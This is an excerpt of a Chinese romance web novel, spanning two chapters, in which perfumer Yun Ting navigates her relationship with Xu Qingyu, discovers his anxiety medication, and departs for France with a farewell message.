别无他因,这段时间徐清聿每天都给她准备各种好吃的,她现在只想喝奶茶,没有女孩子不爱喝奶茶。 云听没有奶茶瘾,但是每个星期不喝一杯心里就难受。 知道徐清聿不喜甜,更不会喝不健康的饮品,她还是礼貌性地问了一句,“我想喝奶茶,你要吗?” 意料之中的,徐清聿摇头,“不用。” 说完他又补充一句,“我可以喝你的吗?” 看似是疑问句,实则不然。 云听点单的手一顿,不假思索地拒绝:“不可以。” 徐清聿身体往前倾,凑到云听脸颊旁:“为什么?” 云听心想,现在两人的关系不适合喝同一杯。 以前她是不太了解真正的徐清聿,觉得他哪哪都好,撇开别的不谈,还是挺正经,挺严肃的。 直到后来,徐清聿三番五次拿走她的钥匙,又用非正常的手段讨云朵开心,脸皮也越来越厚,现在敢和她喝同一杯奶茶,等下就敢吻她。 分了神又回神,云听转头时嘴唇差点碰上徐清聿的唇,她慌忙后退一步,挑了一杯她常喝的下单。 只有一杯。 她把手机放进衣服口袋,在徐清聿徐医生面前班门弄斧,认真地解释:“里面有大量糖分,还有植脂末,这些添加剂对身体负担很重,你应该知道的。而且,我一个人都不够喝。” 重点是后半句,徐清聿听懂了。 脸颊被捏住,冰冰凉凉的戒指碰到云听的侧脸,徐清聿好笑地看着她,“嗯,不喝。” 拿到奶茶,云听抿了一口。好甜,齁的嗓子眼疼。 她看到杯壁上写着“全糖”两字,心里一咯噔。光顾着应付徐清聿,没看清甜度就下单了。 不好喝,不想喝。 奶茶拿在手上没再喝一口,徐清聿看到后,误以为她舍不得喝,他说:“不用舍不得,我不会喝你的。” 云听:“……” 话音刚落,两人听到一阵窃窃私语。云听扫了一眼周围,看到几位青春靓丽的女生正在偷偷瞄她。 “你们看,是她吗?就是那个参加国际调香大赛的调香师!真人好漂亮哦!” “是啊,是她!不对不对,也有可能是她的模特姐姐?” “她身边的男人也好帅。” 云听装作没听见。但是周围越来越多的人注意到她,讨论声也变得更加明显。 “能给我签个名吗?” 有人起头,更多人围拢过来,要求签名。 “抱歉,今天不方便。”云听礼貌地拒绝,尴尬笑,“我不是什么明星。” 然而,更多人接踵而至,纷纷请求签 名,有部分只是为了凑个热闹,有部分人把她误认成云闻,云听不禁有些窒息。 徐清聿察觉到她的焦虑,拉起她的手,“别停下,走吧。” 他牵着她的手穿过人群,离开商场。 两人的身影在寒风中逐渐远去,商场门口的喧嚣也被抛在身后。 不知走了多久,他们来到一处宁静的河边。 河边的树木褪去了叶子,只剩下光秃秃的枝丫,在寒风中摇曳。 徐清聿停下脚步,转身看向云听。只见她脸颊因为寒风和刚才的慌乱而通红,黑色的长发四处飞扬,他的掌心贴在云听的双颊,“你还好吗?” “还好……” 徐清聿脱下大衣,垫在路边的座椅上,“休息一下。” 两人静静地坐着,河水流动,泛起细小的波纹。云听的目光落在眼前的河流上,心中并不平静。 或许是时候,告诉徐清聿了。 她侧过头看徐清聿,他坐在她旁边,眼神投向远方,没看她。 “徐清聿,我有事想和你说……” “不用说。”徐清聿打断她的话,拇指覆上云听的唇。 “徐清聿,你听我说——”后颈被带着凉意的手掌扣住,徐清聿的手指抵住云听跳动的颈脉,他的唇覆上她的。 云听身体一僵,徐清聿又咬住她的下唇,含着她的下唇轻扯。 意识到是在大庭广众之下,云听又羞又急,双手用力推徐清聿的肩膀,可徐清聿的手臂像铁铸一般,密不透风,她根本无法撼动。 舌尖撬开齿关,茉莉奶绿在两人的齿间化开,混着云听惊慌未褪的喘息,徐清聿的舌尖肆意地探索着她的每一处。 “呼吸。”唇齿被反复入侵,云听细小的呻吟被绵长的吻封住,她呼吸困难,徐清聿提醒她,但两个字很快散在加急的风里,尾音被远处驶来的渡轮汽笛吞去大半。 终于,他放开云听,指腹抹去她唇角银丝,“接吻时要用鼻呼吸。” “徐清聿,你。”云听抬起乌黑浸水的眼眸,她的眼尾发红,嘴巴也被吮得通红,“你……” * 四天后。 云听和徐清聿一同到达的时候,屋里已经来了不少亲戚。 舅妈看到他们,立刻笑着迎了上来:“来了啊!快进来,饭菜都快上桌了。” 云听笑着递上礼物:“舅妈,生日快乐!” 舅妈接过礼物,眉开眼笑:“哎呀,还给我买东西,来就来嘛,太客气了。” 她一边说着,一边将礼物放到桌上,又看了看徐清聿,意味深长地调侃道:“你们俩可是难得一起出现啊。” 云听没接话,徐清聿倒是淡淡地笑了笑:“舅妈,生日快乐。” 舅妈满意地点点头,把他们往里推:“行了行了,快进来坐。” 餐桌上,大家围坐在一起,觥筹交错,欢声笑语不断。 吃完饭后,舅舅和徐深凛聊最近的时事,邢时漫和舅妈讨论着家里的一些琐事。 云听坐在叶诗遥旁边,陪她聊天,听她吐槽高中的破事,徐清聿和徐淮风则默默地坐在一旁,偶尔和几位长辈聊上几句。 叶诗遥虽然性格活泼,但从小对徐清聿有点敬畏心,觉得他太冷漠,不好亲近。 今天看到徐清聿,她还是有些怯生生的,吃饭时刻意坐在云听这边,有点往她身后躲的意思。 云听忍不住笑她:“你又不是小孩了,怎么还怕他?” 叶诗遥眼珠子眨了眨,不知为何脊背有点发凉:“大哥哥看起来就很吓人啊,还是二哥哥和蔼可亲一点。” 她偷瞄徐清聿,看到他正面无表情和徐淮风说话,徐淮风脸上也没什么表情。两座冰山撞在一起,叶诗遥身体哆嗦了两下,“嫂嫂,我还是不明白你为什么要和大哥哥在一起?你喜欢大哥哥吗?” 云听不语。 成年人的世界叶诗遥不懂。 她撇撇嘴,索性把注意力全放在云听身上,拉着她玩手机上的小游戏。 “嫂嫂,我们来玩这个!” “这个我超厉害的,你肯定赢不了我!” “哎呀,不是这么玩的,你笨死了哈哈哈……” 云听不会玩游戏,叶诗遥也是个半吊子,只比云听好一点。但云听学东西很快,叶诗遥玩的游戏又很简单,她不到二十分钟就学会了。 叶诗遥不服气,缠着她玩更高难度的游戏。 云听暂时没学会,被她“嘲笑”了一顿。 叶诗遥笑得正猖狂,就被人拍了一下后脑勺。她转过头,看到徐清聿不知何时站在了她身后。 叶诗遥变脸:“对不起,嫂嫂。” 云听:“……” 大家聊到深夜,舅妈提议:“这么晚了,你们别回去了,住一晚吧。” 云听刚想找借口推脱,舅妈又笑着补充:“你们以前不都经常住在这里吗?回去太危险了,我们也不放心。” 邢时漫和徐深凛没什么意见,反正房间够。 云听看向徐清聿,想让他说句话。 徐清聿说好。 房间是客房,屋里布置得很温馨,可只有一张床。 云听站在门口,进也不是,不进也不是。 不和徐清聿住一起,无疑是告诉全家,她和徐清聿的感情出现问题,那今晚就更不用睡了。 更何况,今天是舅妈的生日,开心的日子不能提糟心的事。 徐清聿走到床边,把手机放在床头柜上,解开了外套的拉链,看云听站在门口发呆:“不进来?” 云听吸一口气,抬脚走进去。 门一关上,气氛就变得更加奇怪了。 “我去洗澡。”徐清聿的声音从一旁传来。 云听“嗯”了一声,站得笔直,像个被点到名的学生。 十分钟后,浴室的门打开了。 云听僵硬地拿起睡衣冲进浴室。 等她洗完出来,徐清聿已经躺在床上,闭着眼,像是已经睡着了。 他只占了床的一小块区域,给她留出大半的空间,云听轻手轻脚地走到另一边,躺下。 自上次接吻之后,两人的相处说不上怪异,她和徐清聿心照不宣都没提,徐清聿好像还在躲着她,所以她一直找不到机会和徐清聿说这件事。 云听背对着他,闭上眼睛,脑袋里却乱糟糟的,根本睡不着。 身后是徐清聿均匀的呼吸声。 她想了想,决定等今晚过后,就告诉徐清聿她要走了。 她会告诉他,自己已经做出了决定,要去法国学习,希望他不要等她。 这本来是她早就该说出口的话,可她一直拖着,迟迟没有告诉他,她知道,自己是舍不得的。 毕竟,她喜欢了徐清聿那么久。 她的青春,她的执念,她的爱意,全都围绕着这个男人。 他曾经冷漠地对待她,她也曾告诉自己要放弃,可他现在却又用尽全部耐心,一点点靠近她。 徐清聿对她的好,她不是看不见,可她还是要走,她不能因为这些温柔,就放弃自己的理想。 夜晚寂静无比。 徐清聿的呼吸声就在身后,很浅,很轻。 云听不知道自己躺了多久,直到手机上的时间悄然跳到了凌晨两点。 她还是没有睡着。 忽然,云听感觉到床垫微微一沉。 她的身体一僵。 徐清聿……在靠近她。 他以为她睡着了吧? 云听屏住呼吸,连眼皮都不敢颤动。 她能感觉到徐清聿缓慢 而克制的动作,他的气息离她越来越近,带着他身上熟悉的木质香调,还有一点点薄荷的清冽。 云听的心脏狠狠地撞了一下。 紧接着,她感觉到了一丝温热,落在了她的侧脸上。 徐清聿吻了她,他吻得很轻。 试探的,隐忍的。 呼吸相触,温度交叠。 黑暗中,徐清聿的喉结滑动了一下,指尖蜷紧,被夜色裹挟的情绪几乎要破土而出。 他的唇贴在她的皮肤上,一动不动,过了很久,才缓缓离开。 云听心脏快要炸裂,她没有动,仍然装作熟睡的样子,可她的呼吸已经紊乱。 她不知道徐清聿有没有察觉到。 徐清聿低低地叹了一口气,像是无奈,像是克制,又像是……不舍。然后,他慢慢退回了自己的位置。 可就在这一刻,云听想起了很久以前的某个夜晚。那时的他们,还没有如今这样多的纠葛。 她也是这样,小心翼翼地吻过徐清聿。 曾经,她也深爱着他,不顾一切地靠近他。 那天夜里,她鼓起勇气,偷偷吻上了徐清聿的侧脸。 她记得自己当时紧张得不行,心脏怦怦直跳,害怕他会突然睁开眼睛,把她推开。 可他没有。 思绪游离之际,徐清聿抱住了她。 他的怀抱温热安稳,像是要把她圈进一个无法逃离的界限之中。 时间在这沉默中缓慢流淌,云听数着他的呼吸。 被徐清聿抱着没有不适,甚至…比她想象中要更让人心安一些。只是,长时间保持同一个姿势,云听的手臂有些酸涩,她动了一下,试图调整一个更舒服的姿势。 可是,她一动,徐清聿臂便收紧。 云听不敢动了,静静地等待,片刻后,徐清聿的手臂放松了一些,云听吐出一口气,才敢继续调整姿势,可刚刚挪动了一点,他的手臂又是一样的反应,甚至比刚刚抱得更紧了一些。 脑海里闪过无数个念头,可还没等云听想出什么,徐清聿低下头,气息拂过她的耳畔。 云听感觉到他的唇,落在她的耳垂上。 徐清聿没有睡着。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【全文完结】 第62章 第六十二章 玛格丽特 天空灰蒙蒙的, 几片枯叶被风卷起,在半空中打着旋儿,死气沉沉地落在地上。 徐清聿又消失了。 从离开舅妈家那天起, 他已经整整两天没有出现在云听的面前了。 没有解释,就像之前出国那次,沉默地远离,不留痕迹。 云听原以为自己已经习惯了。 毕竟, 这不是第一次了。 可当她走在街道上,眼神不自觉地在人群里寻找徐清聿的身影时,她才意识到,习惯从来都是骗人的。 云听站在红绿灯前,耳边是车辆疾驰而过的声音, 行人从她身边穿梭,步履匆忙。 她将所有的情绪按捺下去,撑起伞,朝Ethan的私人小工作室走去。 Ethan的工作室位于一条幽静的小巷尽头,门前种着一棵高大的松柏, 枝叶苍翠,四季不凋。 这间工作室是Ethan年轻时亲手打造的。 那时候,他刚开始闯荡调香界,怀揣着热忱与野心, 在这条小巷尽头租下了一间老房子,翻修后改造成自己的调香空间。 他在门前种下一棵松柏, 寓意根基稳固、香道长青。 后来Ethan因某些原因关了工作室。 他收起瓶瓶罐罐,离开小巷。松柏依旧在风里摇曳,而门后的香气却渐渐散去,老房子沉寂多年, 被时间封存。 直到如今,Ethan再次推开了尘封已久的门。 木制的柜台被擦去浮尘,架子上的香料罐被重新摆放,玻璃试管中又开始流淌起颜色各异的精油。 松柏依然挺立在门前,见证着一切,仿佛这间工作室从未真正离开,只是沉睡了一段时光,如今又苏醒过来。 云听推门而入,Ethan坐在调香台前,正在研究香精。 “来了。”Ethan放下手里的试管。 “嗯。”云听脱下外套,搭在一旁的椅背上,走到Ethan对面坐下,她的指尖摩挲着木质桌面的纹路,眼神平静,又有几分深思熟虑后的坚定。 “你决定去法国了?” “嗯,决定了。” Ethan从桌上的文件堆里抽出一份整理好的资料,推到云听面前,“很好,你的机票已经订好了,住宿也安排好了。” 云听诧异,“您已经帮我安排好了一切?” “你觉得呢?” 云听翻开文件。 机票时间、航班号、到达后接机的联系人、公寓的地址,连未来几个月的学习规划,都被清晰地整理在文件里,事无巨细,每一个细节都安排得妥妥当当。 “住宿公寓,离实验室不远,环境不错,方便你专心做研究。” 云听继续往下看,文件还附上了一份关于法国调香行业的现状分析,以及她未来可能接触到的人脉圈子。 “我……”她抬起头,难以置信问,“您连这些都帮我准备好了?” Ethan伸手端起桌上的茶杯,吹了吹,“当然,不然你去了之后怎么办?难道让我们看着你一个人在陌生的环境里四处碰壁?当然对你来说,四处碰壁是不可能的。” 我们? 云听本以为自己决定去法国后,接下来会有一系列烦琐的事情需要处理,比如住宿问题、适应新环境,现在看来,这些她尚未来得及担心的问题,Ethan早已帮她一一安排好。 “师傅……”她张了张嘴,不知道该说什么。 说来说去,也只有千篇一律感激的话。 Ethan戏谑道,“怎么,看起来很意外?” 云听抿了抿唇,“不仅仅是意外,而是……您什么时候开始安排的?” Ethan放下茶杯,神秘一笑,“从我第一次跟你提起‘考虑’的那一刻。” “啊?”云听心情复杂。 她独立惯了,遇事总是自己解决,极少依赖别人,可现在,却在她还没有正式决定之前,Ethan就已经替她做好了一切准备。 “您是不是早就知道,我一定会去?”云听忍不住问道。 “你心里一直有答案,只是缺少推你一把的人。” “师傅,谢谢您。” “别谢我。”Ethan意味颇深地摇头,“要谢的人……可能……诶,要不吃个饭再走?” 云听今天兴致不高,“不用了,改天再请您吃饭吧。” 云听从Ethan那离开后,就回家了。 冬日的风迎面吹来。 她在小区门口看到了一道熟悉的身影。 Elliot? 他站在路灯下,身上穿着黑色的外套,表情看起来有些犹豫不定,他的一只手插在口袋里,另一只手正在扒拉前面的秃树。 Elliot双脚周围堆积满了枯叶。 他好像没看到自己,云听加快脚步走过去,停在他面前。 “Elliot,你怎么会在这?” “呃……我路过。”Elliot说得不太自然,眼神飘忽,似乎在刻意回避着什么。 云听盯着他,目光犀利地掠过他的表情,“路过?你看这个树不爽吗?” Elliot被她盯得不自在,伸手摸了摸后颈,咳了一声,仍在掩饰,“真的,我就是……随便看看。” 说完,他举起手对天发誓:“这棵树的叶子本来就这么少!” 云听“哦”了声,作势要走,“那我先走了?” “等一下。” 果然,Elliot有话说。 他从口袋里掏出了一串钥匙,递到云听面前。 “这个是Zeph房子的钥匙。”他说,像是有什么难言之隐,情绪也不高,“你有时间的话,去看看吧。” 云听接过钥匙,钥匙扣上挂着一个小小的金属牌,上面刻着对应的门牌号,和她同一个小区,同一幢。 “为什么要给我这个?” “你去了就知道了。” 云听站在原地,低头看掌心的钥匙。 她有预感,钥匙背后的秘密,可能会颠覆她现在的所有认知。 夜色沉静,钥匙在云听的掌心里发凉。她确认一眼门牌号,深吸一口气,将钥匙插进锁孔,轻轻一拧。 门开了。 室内很安静,没有一点生活的痕迹。没有开灯,窗帘拉得严严实实,唯有一点微弱的光从窗帘缝隙里透进来,在地板上投下几道淡淡的影子。 云听站在门口,迟迟没有迈步进去。空气中弥漫着熟悉的气息,那是一种浅浅的雪松气息,混合着清冽的香味,属于徐清聿的气息。 徐清聿在这里住过。 但他现在不在。 云听迈步走进房间,手指摸索着打开了灯,柔和的灯光 瞬间驱散了黑暗,也让整个房间的样貌一览无余。 太干净了。 房间里摆设极其简单,桌面上没有任何放置的物品,地面干净得没有一丝灰尘,甚至连一张散乱的纸张都没有,无可挑剔的整洁。 云听的目光落在窗边。 那里有一整排整齐的花盆,规律地摆放在一起。 她走近,俯下身,看见土壤里已经长出了小小的绿芽,一片片叶子嫩生生的,朝着窗外微弱的光生长着。 徐清聿在这里种了花。 可云听认不出来是什么花。 她拿出手机拍了一张照片,上传到搜索引擎里。几秒钟后,屏幕上跳出了搜索结果—— 玛格丽特花。 云听手一抖,那是她曾经送给徐清聿的花, 云听不敢深想。 她站起身,目光继续在房间里游移。 整栋楼每个房子的布局都相同,云听轻而易举地找到了徐清聿的卧室。 她犹豫了一下,推开门。 房间里依旧没有一丝凌乱的痕迹,床铺整理得整整齐齐,连枕头的角都被压得平平整整。她观察了一圈,视线最终定格在床头柜上。 那里摆放着几瓶药。 云听走过去,伸手拿起其中一瓶,药瓶上的字母排列熟悉又陌生,她皱了皱眉,掏出手机,输入药名进行搜索。 几秒钟后,屏幕上跳出了药物信息。 抗焦虑药,适用于长期失眠、情绪不稳定患者。 云听揉了揉眼睛,心像是被什么尖锐的东西狠狠刺了一下,指尖收紧。 另一瓶是安眠药,适用于失眠症患者。 云听怔怔地盯着那些药瓶,思绪混乱。 头好疼…… 徐清聿……一直在吃这些药? 深夜里,他站在阳台上抽烟的背影,沉默不语的模样;某些时候,他眼底深藏的疲惫;偶尔,她在他身上察觉到的寂静。 他一直以来,都在用这些药维持自己的状态吗? 云听坐在床边,捏紧手中的药。 一道隐秘的伤口被揭开,血淋淋地裸露在她的面前。 房间太压抑了,她忽然有些喘不上气。 房子太安静,太过整洁,干净得让人觉得孤独。 可窗边的那些玛格丽特花,又是在无声地生长,顽强地迎着光,一点一点地长大。 她闭上眼睛,指尖摩挲着药瓶。 徐清聿到底……经历了什么? 而她,又在这个故事里,错过了多少他未曾说出口的情绪? 徐清聿在哪? 云听拨通Elliot的电话。 嘟—— 电话响了几声,那边才接起:“喂?” 云听开门见山,“徐清聿他在哪?” 那头沉默了一会儿,大概在思考该如何作答。过了几秒, Elliot才道:“你想听吗?Zeph的故事。” 云听踌躇了。 现在,真相摆在她面前。她只需要开口,就能知道一切。 她低头看到掌心的药瓶,好像已经猜到了答案。 徐清聿一直都在承受着什么,直到今天。 云听长长地呼出一口气,声音低而平静:“不用了。” Elliot愣了一下,似乎没想到她会拒绝,“你不想知道?” 云听问:“我只想知道,徐清聿,他去法国了吗?” Elliot说:“嗯。” * 三天后,徐清聿又像什么事都没发生一样出现在云听的生活里。 他依旧是沉稳的人,依旧每天准时出现在她的视线范围内,依旧在她需要的时候默默陪着她。 一切都像是梦境。 这些天的消失从未发生过,那间房间、那些药瓶、那一排还未开花的玛格丽特也不存在。 云听没有问,他也没有说。 两人之间保持着微妙的平衡,就像过去很长一段时间那样,相安无事地相处着。 云听在倒计时,她即将离开。 * 云听走的那一天,全家人都来送她。 机场里人来人往,她站在候机厅,身边围绕着不舍的家人和朋友。孟妍的眼眶泛红,云闻在一旁安慰,云渡站得笔直,嘴上没说什么,眼中有泪光闪烁。 辛亦桐抱着她的胳膊,嘟囔着让她好好照顾自己,路见薇和周之寒也在一旁千叮咛万嘱咐让她注意饮食。Ethan没有说太多,只是拍拍她的肩膀,让她别担心这里的事,一切顺利就好。 徐清聿没有来,云听不希望他过来。 也许徐清聿来了,只是没有出现在她面前。 云听的心很平静,没有想象中的难舍难分,反而觉得这一切都顺理成章。她知道自己该走了,该去看看外面的世界,去完成自己的目标。 登机广播响起,是时候了。 云听一一拥抱了家人和朋友,笑着安慰他们,她会定期联系他们,会照顾好自己,也会继续努力,不会让他们失望。 最后,她拖着行李,走向登机口,在转身的瞬间,拿出手机,分别给两个人发了消息。 第一条消息,发给徐清聿: 徐清聿,我不知道你的曾经,但我好像知道你为什么不想告诉我你的曾经。 庆幸的是,你没有告诉我。 说实话,我并不知道怎么安慰你。 我想成为你的救赎,可我从来都不是你的救赎。 没有人能真正拯救另一个人。 黑暗也好,痛苦也罢,这些东西只能由你自己去面对、去跨越。 只有你愿意伸出手,才能真正从深渊里走出来。 所以,先学会爱自己吧。等你学会如何温柔地对待自己,学会如何不再让痛苦成为你的归宿……再来爱我。 希望下次见面,我们能以独立而完整的灵魂,相互靠近。 希望下次见到你,你可以毫无保留地告诉我你的事。 我曾经送你玛格丽特花,其实是想借它暗示我的心意。 但你不懂,没关系。你不擅长解读别人的心意,更何况,像我这种模棱两可的暗示。 你见过电视剧里的女主角会一边摘下花瓣,一边念着“他爱我”、“他不爱我”的场景吗? 就是这朵花,玛格丽特,用来占卜爱的花。 等它们开花了—— 你就从“Zephyr”开始数,第一片花瓣是“Zephyr”,第二片花瓣是“Cyrus”,依次数下去。 你的曾经和现在。 如果每一朵花最终都是“Zephyr”,那你来追我吧。 上次在电梯里看到那对学生情侣,我挺羡慕的。 想谈一场年轻人的恋爱。 但前提是你不能作弊,也不能真的把花瓣摘下,数数即可。 这么漂亮的花,不应该被糟蹋。 同样,漂亮的人,也不应该被梦魇缠身。 徐清聿,在我这,西风从来都不是毁灭,是重生。 还有,徐清聿,谢谢你。 另一条,云听发给了Elliot。 收到回复,她笑了下,关掉手机,将它放进包里。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m